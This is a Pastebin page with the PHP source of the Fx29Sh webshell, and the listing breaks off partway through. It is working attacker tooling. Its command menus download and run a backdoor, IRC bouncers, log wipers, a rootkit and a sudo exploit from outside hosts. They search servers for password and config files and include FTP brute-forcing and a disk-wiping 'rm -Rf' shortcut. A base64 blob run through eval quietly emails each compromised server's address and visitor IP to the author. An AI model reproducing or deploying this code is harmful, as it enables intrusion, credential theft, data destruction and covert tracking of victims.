FlyFar

FaTaLisTiCz_Fx Fx29Sh 2.0.09.08 - Webshell

Feb 9th, 2024
347
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 160.15 KB | Cybersecurity | 0 0
  1. <?php
  2. #######################################
  3. ## FaTaLisTiCz_Fx Fx29Sh 2.0.09.08   ##
  4. define('sh_ver',"2.0.09.08");        ##
  5. ## By FaTaLisTiCz_Fx                 ##
  6. ## � 03-09 2008 FeeLCoMz Community   ##
  7. ## Written under PHP 5.2.5           ##
  8. #######################################
  9. $sh_name = sh_name();                ##
  10. #######################################
  11. #$sh_mainurl        = "http://vidinas.net/templates/archzone/xml/cyberz.txt";
  12. $sh_mainurl        = "http://vidinas.net/templates/archzone/xml/";
  13. $fx29sh_updateurl  = $sh_mainurl."fx29sh_update.php";
  14. $fx29sh_sourcesurl = $sh_mainurl."fx29sh.txt";
  15. $sh_sourcez = array(
  16.   "Fx29Sh"   => array($sh_mainurl."cyberz.txt","fx29sh.php"),
  17.   "psyBNC"   => array($sh_mainurl."fx.tgz","fx.tgz"),
  18.   "Eggdrop"  => array($sh_mainurl."fxb.tgz","fxb.tgz"),
  19.   "BindDoor" => array($sh_mainurl."bind.tgz","bind.tgz"),
  20. );
  21. ##[ AUTHENTICATION ]##
  22. $auth = array(
  23.   "login"     => "",
  24.   "pass"      => "",
  25.   "md5pass"   => "",
  26.   "hostallow" => array("*"),
  27.   "denied"    => "<a href=\"$sh_mainurl\">".$sh_name."</a>: access denied!",
  28. );
  29. ##[ END AUTHENTICATION ]##
  30. $curdir = "./";
  31. $tmpdir = "";
  32. $tmpdir_logs = "./";
  33. $log_email = "meister_onthelaw@yahoo.com";
  34. $sess_cookie = "fx29shcook";
  35. $sort_default = "0a"; #Pengurutan, 0 - nomor kolom. "a"scending atau "d"escending
  36. $sort_save = TRUE; #Simpan posisi pengurutan menggunakan cookies.
  37. $usefsbuff = TRUE;
  38. $copy_unset = FALSE; #Hapus file yg telah di-copy setelah dipaste
  39. $surl_autofill_include = TRUE;
  40. $updatenow   = FALSE;
  41. $gzipencode  = TRUE;
  42. $filestealth = TRUE; #TRUE, tidak merubah waktu modifikasi dan akses.
  43. $hexdump_lines = 8;
  44. $hexdump_rows = 24;
  45. $millink = milw0rm();
  46. $win = strtolower(substr(PHP_OS,0,3)) == "win";
  47. $disablefunc = getdisfunc();
  48. ##[ END OF CONFIGS ]##
  49. error_reporting(E_ERROR | E_PARSE);
  50. @ini_set("max_execution_time",0);
  51. @set_time_limit(0); #No Fx in SafeMode
  52. @ignore_user_abort(TRUE);
  53. @set_magic_quotes_runtime(0);
  54. define("starttime",getmicrotime());
  55. if (get_magic_quotes_gpc()) { strips($GLOBALS); }
  56. $_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
  57. @$f = $_REQUEST["f"];
  58. @extract($_REQUEST["fx29shcook"]);
  59. foreach($_REQUEST as $k => $v) { if (!isset($$k)) { $$k = $v; } }
  60. $fxbuff = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQogICR2aXNpdGMgID0gMDsNCiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsNCiAgJHdlYiAgICAgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQogICRpbmogICAgID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7DQogICRqdWR1bCAgID0gIkZ4MjlTaGVsbCBodHRwOi8vJHRhcmdldCBieSAkdmlzaXRvciI7DQogICRib2R5ICAgID0gIkJ1ZzogJHRhcmdldCBieSAkdmlzaXRvcjxicj4iOw0KICBpZiAoIWVtcHR5KCR3ZWIpKSB7IEBtYWlsKCJmZWVsY29tekBnbWFpbC5jb20iLCRqdWR1bCwkYm9keSk7IH0NCn0NCmVsc2UgeyAkdmlzaXRjKys7IH0NCkBzZXRjb29raWUoInZpc2l0eiIsJHZpc2l0Yyk7"; eval(base64_decode($fxbuff));
  61. if ($surl_autofill_include) {
  62.   $include = "&";
  63.   foreach (explode("&",getenv("QUERY_STRING")) as $v) {
  64.     $v = explode("=",$v);
  65.     $name = urldecode($v[0]);
  66.     $value = @urldecode($v[1]);
  67.     foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {
  68.       if (strpos($value,$needle) === 0) {
  69.         $includestr .= urlencode($name)."=".urlencode($value)."&";
  70.       }
  71.     }
  72.   }
  73. }
  74. if (empty($surl)) {
  75.   $surl = "?".$includestr;
  76.   $surl = htmlspecialchars($surl);
  77. }
  78. ## FILE TYPES ##
  79. $ftypes  = array(
  80.   "html"     => array("html","htm","shtml"),
  81.   "txt"      => array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
  82.   "exe"      => array("sh","install","bat","cmd"),
  83.   "ini"      => array("ini","inf","conf"),
  84.   "code"     => array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
  85.   "img"      => array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
  86.   "sdb"      => array("sdb"),
  87.   "phpsess"  => array("sess"),
  88.   "download" => array("exe","com","pif","src","lnk","zip","rar","gz","tar")
  89. );
  90. $exeftypes  = array(
  91.   getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
  92.   "perl %f%"                => array("pl","cgi")
  93. );
  94. $regxp_highlight  = array(
  95.   array(basename($_SERVER["PHP_SELF"]),1,"<font color=#FFFF00>","</font>"),
  96.   array("\.tgz$",1,"<font color=#C082FF>","</font>"),
  97.   array("\.gz$",1,"<font color=#C082FF>","</font>"),
  98.   array("\.tar$",1,"<font color=#C082FF>","</font>"),
  99.   array("\.bz2$",1,"<font color=#C082FF>","</font>"),
  100.   array("\.zip$",1,"<font color=#C082FF>","</font>"),
  101.   array("\.rar$",1,"<font color=#C082FF>","</font>"),
  102.   array("\.php$",1,"<font color=#00FF00>","</font>"),
  103.   array("\.php3$",1,"<font color=#00FF00>","</font>"),
  104.   array("\.php4$",1,"<font color=#00FF00>","</font>"),
  105.   array("\.jpg$",1,"<font color=#00FFFF>","</font>"),
  106.   array("\.jpeg$",1,"<font color=#00FFFF>","</font>"),
  107.   array("\.JPG$",1,"<font color=#00FFFF>","</font>"),
  108.   array("\.JPEG$",1,"<font color=#00FFFF>","</font>"),
  109.   array("\.ico$",1,"<font color=#00FFFF>","</font>"),
  110.   array("\.gif$",1,"<font color=#00FFFF>","</font>"),
  111.   array("\.png$",1,"<font color=#00FFFF>","</font>"),
  112.   array("\.htm$",1,"<font color=#00CCFF>","</font>"),
  113.   array("\.html$",1,"<font color=#00CCFF>","</font>"),
  114.   array("\.txt$",1,"<font color=#C0C0C0>","</font>")
  115. );
  116. ## QUICK COMMANDS ##
  117. if (!$win) {
  118.   $cmdaliases = array(
  119.     array("", "ls -al"),
  120.     array("Find all suid files", "find / -type f -perm -04000 -ls"),
  121.     array("Find suid files in current dir", "find . -type f -perm -04000 -ls"),
  122.     array("Find all sgid files", "find / -type f -perm -02000 -ls"),
  123.     array("Find sgid files in current dir", "find . -type f -perm -02000 -ls"),
  124.     array("Find config.inc.php files", "find / -type f -name config.inc.php"),
  125.     array("Find config* files", "find / -type f -name \"config*\""),
  126.     array("Find config* files in current dir", "find . -type f -name \"config*\""),
  127.     array("Find all writable folders and files", "find / -perm -2 -ls"),
  128.     array("Find all writable folders and files in current dir", "find . -perm -2 -ls"),
  129.     array("Find all writable folders", "find / -type d -perm -2 -ls"),
  130.     array("Find all writable folders in current dir", "find . -type d -perm -2 -ls"),
  131.     array("Find all service.pwd files", "find / -type f -name service.pwd"),
  132.     array("Find service.pwd files in current dir", "find . -type f -name service.pwd"),
  133.     array("Find all .htpasswd files", "find / -type f -name .htpasswd"),
  134.     array("Find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
  135.     array("Find all .bash_history files", "find / -type f -name .bash_history"),
  136.     array("Find .bash_history files in current dir", "find . -type f -name .bash_history"),
  137.     array("Find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
  138.     array("Find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
  139.     array("List file attributes on a Linux second extended file system", "lsattr -va"),
  140.     array("Show opened ports", "netstat -an | grep -i listen")
  141.   );
  142.   $cmdaliases2 = array(
  143.     array("wget & extract psyBNC","wget ".$sh_mainurl."fx.tgz;tar -zxf fx.tgz"),
  144.     array("wget & extract EggDrop","wget ".$sh_mainurl."fxb.tgz;tar -zxf fxb.tgz"),
  145.     array("-----",""),
  146.     array("Logged in users","w"),
  147.     array("Last to connect","lastlog"),
  148.     array("Find Suid bins","find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null"),
  149.     array("User Without Password","cut -d: -f1,2,3 /etc/passwd | grep ::"),
  150.     array("Can write in /etc/?","find /etc/ -type f -perm -o+w 2> /dev/null"),
  151.     array("Downloaders?","which wget curl w3m lynx fetch lwp-download"),
  152.     array("CPU Info","cat /proc/version /proc/cpuinfo"),
  153.     array("Is gcc installed ?","locate gcc"),
  154.     array("Format box (DANGEROUS)","rm -Rf"),
  155.     array("-----",""),
  156.     array("wget WIPELOGS PT1","wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c"),
  157.     array("gcc WIPELOGS PT2","gcc zap2.c -o zap2"),
  158.     array("Run WIPELOGS PT3","./zap2"),
  159.     array("-----",""),
  160.     array("wget RatHole 1.2 (Linux & BSD)","wget http://packetstormsecurity.org/UNIX/penetration/rootkits/rathole-1.2.tar.gz"),
  161.     array("wget & run BindDoor","wget ".$sh_mainurl."bind.tgz;tar -zxvf bind.tgz;./4877"),
  162.     array("wget Sudo Exploit","wget http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c"),
  163.   );
  164. }
  165. else {
  166.   $cmdaliases = array(
  167.     array("", "dir"),
  168.     array("Find index.php in current dir", "dir /s /w /b index.php"),
  169.     array("Find *config*.php in current dir", "dir /s /w /b *config*.php"),
  170.     array("Find c99shell in current dir", "find /c \"c99\" *"),
  171.     array("Find r57shell in current dir", "find /c \"r57\" *"),
  172.     array("Find fx29shell in current dir", "find /c \"fx29\" *"),
  173.     array("Show active connections", "netstat -an"),
  174.     array("Show running services", "net start"),
  175.     array("User accounts", "net user"),
  176.     array("Show computers", "net view"),
  177.   );
  178. }
  179. ## PHP FILESYSTEM TRICKS (By FaTaLisTiCz_Fx) ##
  180. $phpfsaliases = array(
  181.     array("Read File", "read", 1, "File", ""),
  182.     array("Write File (PHP5)", "write", 2, "File","Text"),
  183.     array("Copy", "copy", 2, "From", "To"),
  184.     array("Rename/Move", "rename", 2, "File", "To"),
  185.     array("Delete", "delete", 1 ,"File", ""),
  186.     array("Make Dir","mkdir", 1, "Dir", ""),
  187.     array("Download", "download", 2, "URL", "To"),
  188.     array("Download (Binary Safe)", "downloadbin", 2, "URL", "To"),
  189.     array("Change Perm (0755)", "chmod", 2, "File", "Perms"),
  190.     array("Find Writable Dir", "fwritabledir", 2 ,"Dir"),
  191.     array("Find Pathname Pattern", "glob",2 ,"Dir", "Pattern"),
  192. );
  193. ## QUICK LAUNCH ##
  194. $quicklaunch1 = array(
  195.     array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" border=\"0\">",$surl),
  196.     array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" border=\"0\">","#\" onclick=\"history.back(1)"),
  197.     array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" border=\"0\">","#\" onclick=\"history.go(1)"),
  198.     array("<img src=\"".$surl."act=img&img=up\" alt=\"Up\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),
  199.     array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" border=\"0\">",$surl."act=search&d=%d"),
  200.     array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" border=\"0\">",$surl."act=fsbuff&d=%d")
  201. );
  202. $quicklaunch2 = array(
  203.     array("Security Info",$surl."act=security&d=%d"),
  204.     array("Processes",$surl."act=processes&d=%d"),
  205.     array("MySQL",$surl."act=sql&d=%d"),
  206.     array("Eval",$surl."act=eval&d=%d"),
  207.     array("Encoder",$surl."act=encoder&d=%d"),
  208.     array("Mailer",$surl."act=fxmailer"),
  209.     array("milw0rm",$millink),
  210.     array("Md5-Lookup","http://darkc0de.com/database/md5lookup.html"),
  211.     array("Toolz",$surl."act=tools&d=%d"),
  212.     array("Kill-Shell",$surl."act=selfremove"),
  213.     array("Feedback",$surl."act=feedback"),
  214.     array("Update",$surl."act=update"),
  215.     array("About",$surl."act=about")
  216. );
  217. if (!$win) {
  218.   $quicklaunch2[] = array("<br>FTP-Brute",$surl."act=ftpquickbrute&d=%d");
  219. }
  220. ## HIGHLIGHT CODE ##
  221. $highlight_background = "#C0C0C0";
  222. $highlight_bg = "#FFFFFF";
  223. $highlight_comment = "#6A6A6A";
  224. $highlight_default = "#0000BB";
  225. $highlight_html = "#1300FF";
  226. $highlight_keyword = "#007700";
  227. $highlight_string = "#000000";
  228. ####################
  229. ##[ AUTHENTICATE ]##
  230. ####################
  231. $tmp = array();
  232. foreach ($auth["hostallow"] as $k => $v) {
  233.   $tmp[] = str_replace("\\*",".*",preg_quote($v));
  234. }
  235. $s = "!^(".implode("|",$tmp).")$!i";
  236. if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {
  237.   exit("<a href=\"$sh_mainurl\">$sh_name</a>: Access Denied - Your host (".getenv("REMOTE_ADDR").") not allowed");
  238. }
  239. if (!empty($auth["login"])) {
  240.   if (empty($auth["md5pass"])) { $auth["md5pass"] = md5($auth["pass"]); }
  241.   if (($_SERVER["PHP_AUTH_USER"] != $auth["login"]) or (md5($_SERVER["PHP_AUTH_PW"]) != $auth["md5pass"])) {
  242.     header("WWW-Authenticate: Basic realm=\"".$sh_name.": Restricted Area\"");
  243.     header("HTTP/1.0 401 Unauthorized");
  244.     die($auth["denied"]);
  245.   }
  246. }
  247. ## END AUTHENTICATE ##
  248.  
  249. if ($act != "img") {
  250.   $lastdir = realpath(".");
  251.   chdir($curdir);
  252.   if ($updatenow) { @ob_clean(); fx29sh_getupdate(1); exit; }
  253.   $sess_data = @unserialize($_COOKIE["$sess_cookie"]);
  254.   if (!is_array($sess_data)) { $sess_data = array(); }
  255.   if (!is_array($sess_data["copy"])) { $sess_data["copy"] = array(); }
  256.   if (!is_array($sess_data["cut"])) { $sess_data["cut"] = array(); }
  257.   fx29_buff_prepare();
  258.   foreach (array("sort","sql_sort") as $v) {
  259.     if (!empty($_GET[$v])) {$$v = $_GET[$v];}
  260.     if (!empty($_POST[$v])) {$$v = $_POST[$v];}
  261.   }
  262.   if ($sort_save) {
  263.     if (!empty($sort)) {setcookie("sort",$sort);}
  264.     if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
  265.   }
  266.   if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
  267.   if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
  268.   if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
  269.   if (!function_exists("mysql_dump")) {
  270.     function mysql_dump($set) {
  271.       global $sh_ver;
  272.       $sock = $set["sock"];
  273.       $db = $set["db"];
  274.       $print = $set["print"];
  275.       $nl2br = $set["nl2br"];
  276.       $file = $set["file"];
  277.       $add_drop = $set["add_drop"];
  278.       $tabs = $set["tabs"];
  279.       $onlytabs = $set["onlytabs"];
  280.       $ret = array();
  281.       $ret["err"] = array();
  282.       if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
  283.       if (empty($db)) {$db = "db";}
  284.       if (empty($print)) {$print = 0;}
  285.       if (empty($nl2br)) {$nl2br = 0;}
  286.       if (empty($add_drop)) {$add_drop = TRUE;}
  287.       if (empty($file)) {
  288.         $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
  289.       }
  290.       if (!is_array($tabs)) {$tabs = array();}
  291.       if (empty($add_drop)) {$add_drop = TRUE;}
  292.       if (sizeof($tabs) == 0) {
  293.         //Retrieve tables-list
  294.         $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
  295.         if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
  296.       }
  297.       $out = "
  298.      # Dumped by ".$sh_name."
  299.      #
  300.      # Host settings:
  301.      # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
  302.      # Date: ".date("d.m.Y H:i:s")."
  303.      # DB: \"".$db."\"
  304.      #---------------------------------------------------------";
  305.       $c = count($onlytabs);
  306.       foreach($tabs as $tab) {
  307.         if ((in_array($tab,$onlytabs)) or (!$c)) {
  308.           if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
  309.           //Receieve query for create table structure
  310.           $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
  311.           if (!$res) {$ret["err"][] = mysql_smarterror();}
  312.           else {
  313.             $row = mysql_fetch_row($res);
  314.             $out .= $row["1"].";\n\n";
  315.             //Receieve table variables
  316.             $res = mysql_query("SELECT * FROM `$tab`", $sock);
  317.             if (mysql_num_rows($res) > 0) {
  318.               while ($row = mysql_fetch_assoc($res)) {
  319.                 $keys = implode("`, `", array_keys($row));
  320.                 $values = array_values($row);
  321.                 foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  322.                 $values = implode("', '", $values);
  323.                 $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
  324.                 $out .= $sql;
  325.               }
  326.             }
  327.           }
  328.         }
  329.       }
  330.       $out .= "#---------------------------------------------------------------------------------\n\n";
  331.       if ($file) {
  332.         $fp = fopen($file, "w");
  333.         if (!$fp) {$ret["err"][] = 2;}
  334.         else {
  335.           fwrite ($fp, $out);
  336.           fclose ($fp);
  337.         }
  338.       }
  339.       if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
  340.       return $out;
  341.     }
  342.   }
  343.   if (!function_exists("mysql_buildwhere")) {
  344.     function mysql_buildwhere($array,$sep=" and",$functs=array()) {
  345.       if (!is_array($array)) {$array = array();}
  346.       $result = "";
  347.       foreach($array as $k=>$v) {
  348.         $value = "";
  349.         if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
  350.         $value .= "'".addslashes($v)."'";
  351.         if (!empty($functs[$k])) {$value .= ")";}
  352.         $result .= "`".$k."` = ".$value.$sep;
  353.       }
  354.       $result = substr($result,0,strlen($result)-strlen($sep));
  355.       return $result;
  356.     }
  357.   }
  358.   if (!function_exists("mysql_fetch_all")) {
  359.     function mysql_fetch_all($query,$sock) {
  360.       if ($sock) {$result = mysql_query($query,$sock);}
  361.       else {$result = mysql_query($query);}
  362.       $array = array();
  363.       while ($row = mysql_fetch_array($result)) {$array[] = $row;}
  364.       mysql_free_result($result);
  365.       return $array;
  366.     }
  367.   }
  368.   if (!function_exists("mysql_smarterror")) {
  369.     function mysql_smarterror($type,$sock) {
  370.       if ($sock) {$error = mysql_error($sock);}
  371.       else {$error = mysql_error();}
  372.       $error = htmlspecialchars($error);
  373.       return $error;
  374.     }
  375.   }
  376.   if (!function_exists("mysql_query_form")) {
  377.     function mysql_query_form() {
  378.       global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
  379.       if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  380.       if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
  381.       if ((!$submit) or ($sql_act)) {
  382.         echo "<table border=0><tr><td><form name=\"fx29sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>";
  383.         if ($tbl_struct) {
  384.           echo "<td valign=\"top\"><b>Fields:</b><br>";
  385.           foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.fx29sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
  386.           echo "</td></tr></table>";
  387.         }
  388.       }
  389.       if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
  390.     }
  391.   }
  392.   if (!function_exists("mysql_create_db")) {
  393.     function mysql_create_db($db,$sock="") {
  394.       $sql = "CREATE DATABASE `".addslashes($db)."`;";
  395.       if ($sock) {return mysql_query($sql,$sock);}
  396.       else {return mysql_query($sql);}
  397.     }
  398.   }
  399.   if (!function_exists("mysql_query_parse")) {
  400.     function mysql_query_parse($query) {
  401.       $query = trim($query);
  402.       $arr = explode (" ",$query);
  403.       $types = array(
  404.         "SELECT"=>array(3,1),
  405.         "SHOW"=>array(2,1),
  406.         "DELETE"=>array(1),
  407.         "DROP"=>array(1)
  408.       );
  409.       $result = array();
  410.       $op = strtoupper($arr[0]);
  411.       if (is_array($types[$op])) {
  412.         $result["propertions"] = $types[$op];
  413.         $result["query"]  = $query;
  414.         if ($types[$op] == 2) {
  415.           foreach($arr as $k=>$v) {
  416.             if (strtoupper($v) == "LIMIT") {
  417.               $result["limit"] = $arr[$k+1];
  418.               $result["limit"] = explode(",",$result["limit"]);
  419.               if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
  420.               unset($arr[$k],$arr[$k+1]);
  421.             }
  422.           }
  423.         }
  424.       }
  425.       else {return FALSE;}
  426.     }
  427.   }
  428.   if ($act == "gofile") {
  429.     if (is_dir($f)) { $act = "ls"; $d = $f; }
  430.     else { $act = "f"; $d = dirname($f); $f = basename($f); }
  431.   }
  432.   ## HEADERS ##
  433.  @ob_start();
  434.   @ob_implicit_flush(0);
  435.   header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
  436.   header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
  437.   header("Cache-Control: no-store, no-cache, must-revalidate");
  438.   header("Cache-Control: post-check=0, pre-check=0", FALSE);
  439.   header("Pragma: no-cache");
  440.   if (empty($tmpdir)) {
  441.     $tmpdir = ini_get("upload_tmp_dir");
  442.     if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
  443.   }
  444.   $tmpdir = realpath($tmpdir);
  445.   $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
  446.   if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
  447.   if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
  448.   else {$tmpdir_logs = realpath($tmpdir_logs);}
  449.   $sort = htmlspecialchars($sort);
  450.   if (empty($sort)) {$sort = $sort_default;}
  451.   $sort[1] = strtolower($sort[1]);
  452.   $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
  453.   if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
  454.   $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
  455.   @ini_set("highlight.bg",$highlight_bg);
  456.   @ini_set("highlight.comment",$highlight_comment);
  457.   @ini_set("highlight.default",$highlight_default);
  458.   @ini_set("highlight.html",$highlight_html);
  459.   @ini_set("highlight.keyword",$highlight_keyword);
  460.   @ini_set("highlight.string",$highlight_string);
  461.   if (!is_array($actbox)) { $actbox = array(); }
  462.   $dspact = $act = htmlspecialchars($act);
  463.   $disp_fullpath = $ls_arr = $notls = null;
  464.   $ud = @urlencode($d);
  465.   if (empty($d)) {$d = realpath(".");}
  466.   elseif(realpath($d)) {$d = realpath($d);}
  467.   $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  468.   if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  469.   $d = str_replace("\\\\","\\",$d);
  470.   $dispd = htmlspecialchars($d);
  471.   $safemode = safemode();
  472.   if ($safemode) {
  473.     $hsafemode = "<font color=#3366FF><b>SAFE MODE IS ON</b></font>";
  474.     $safemodeexecdir = @ini_get("safe_mode_exec_dir");
  475.   }
  476.   else { $hsafemode = "<font color=#FF9900><b>SAFE MODE IS OFF</b></font>"; }
  477.   $v = @ini_get("open_basedir");
  478.   if ($v or strtolower($v) == "on") {
  479.     $openbasedir = TRUE;
  480.     $hopenbasedir = "<font color=red>".$v."</font>";
  481.   }
  482.   else {
  483.     $openbasedir = FALSE;
  484.     $hopenbasedir = "<font color=green>OFF (not secure)</font>";
  485.   }
  486.  
  487. ##################
  488. ##[ HTML START ]##
  489. ##################
  490. function srv_info($title,$contents) {
  491.   echo "<tr><th>$title</th><td>:</td><td>$contents</td></tr>\n";
  492. }
  493. echo htmlhead($hsafemode);
  494. echo "<table id=pagebar>";
  495. echo "<tr><td colspan=2>\n";
  496. echo "<div class=fleft>$hsafemode</div>\n";
  497. echo "<div class=fright>";
  498. echo "IP Address: <a href=\"http://ws.arin.net/cgi-bin/whois.pl?queryinput=".@gethostbyname($_SERVER["HTTP_HOST"])."\">".@gethostbyname($_SERVER["HTTP_HOST"])."</a> ".
  499.      "You: <a href=\"http://ws.arin.net/cgi-bin/whois.pl?queryinput=".$_SERVER["REMOTE_ADDR"]."\">".$_SERVER["REMOTE_ADDR"]."</a> ".
  500.      ($win?"Drives: ".disp_drives($d,$surl):"");
  501. echo "</div>\n</td></tr>\n";
  502. echo "<tr><td width=50%>\n";
  503. echo "<table class=info>\n";
  504. srv_info("Software","".$DISP_SERVER_SOFTWARE);
  505. srv_info("Uname",php_uname());
  506. srv_info("User",($win) ? get_current_user()." (uid=".getmyuid()." gid=".getmygid().")" : fx29exec("id"));
  507. echo "</table></td>\n".
  508.      "<td width=50%>\n";
  509. echo "<table class=info>\n";
  510. srv_info("Freespace",disp_freespace($d));
  511. echo "</table></td></tr>\n";
  512. echo "<tr><td colspan=2>\n";
  513. echo get_status();
  514. echo "</td></tr>\n";
  515. echo "<tr><td colspan=2>\n";
  516. echo $safemodeexecdir ? "SafemodeExecDir: ".$safemodeexecdir."<br>\n" : "";
  517. echo showdisfunc() ? "DisFunc: ".showdisfunc()."\n" : "";
  518. echo "</td></tr>\n";
  519. echo "<tr><td colspan=2 id=mainmenu>\n";
  520. if (count($quicklaunch2) > 0) {
  521.   foreach($quicklaunch2 as $item) {
  522.     $item[1] = str_replace("%d",urlencode($d),$item[1]);
  523.     $item[1] = str_replace("%sort",$sort,$item[1]);
  524.     $v = realpath($d."..");
  525.     if (empty($v)) {
  526.       $a = explode(DIRECTORY_SEPARATOR,$d);
  527.       unset($a[count($a)-2]);
  528.       $v = join(DIRECTORY_SEPARATOR,$a);
  529.     }
  530.     $item[1] = str_replace("%upd",urlencode($v),$item[1]);
  531.     echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n";
  532.   }
  533. }
  534. echo "</td>\n".
  535.      "<tr><td colspan=2 id=mainmenu>\n";
  536. if (count($quicklaunch1) > 0) {
  537.   foreach($quicklaunch1 as $item) {
  538.     $item[1] = str_replace("%d",urlencode($d),$item[1]);
  539.     $item[1] = str_replace("%sort",$sort,$item[1]);
  540.     $v = realpath($d."..");
  541.     if (empty($v)) {
  542.       $a = explode(DIRECTORY_SEPARATOR,$d);
  543.       unset($a[count($a)-2]);
  544.       $v = join(DIRECTORY_SEPARATOR,$a);
  545.     }
  546.     $item[1] = str_replace("%upd",urlencode($v),$item[1]);
  547.     echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n";
  548.   }
  549. }
  550. echo "</td></tr>\n<tr><td colspan=2>";
  551. echo "<p class=fleft>\n";
  552. $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
  553. $i = 0;
  554. foreach($pd as $b) {
  555.   $t = ""; $j = 0;
  556.   foreach ($e as $r) {
  557.     $t.= $r.DIRECTORY_SEPARATOR;
  558.     if ($j == $i) { break; }
  559.     $j++;
  560.   }
  561.   echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><font color=yellow>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</font></a>\n";
  562.   $i++;
  563. }
  564. echo " - ";
  565. if (is_writable($d)) {
  566.   $wd = TRUE;
  567.   $wdt = "<font color=#00FF00>[OK]</font>";
  568.   echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
  569. }
  570. else {
  571.   $wd = FALSE;
  572.   $wdt = "<font color=red>[Read-Only]</font>";
  573.   echo "<b>".view_perms_color($d)."</b>";
  574. }
  575. echo "\n</p>\n";
  576. ?>
  577. <div class=fright>
  578. <form method="POST"><input type=hidden name=act value="ls">
  579. Directory: <input type="text" name="d" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go">
  580. </form>
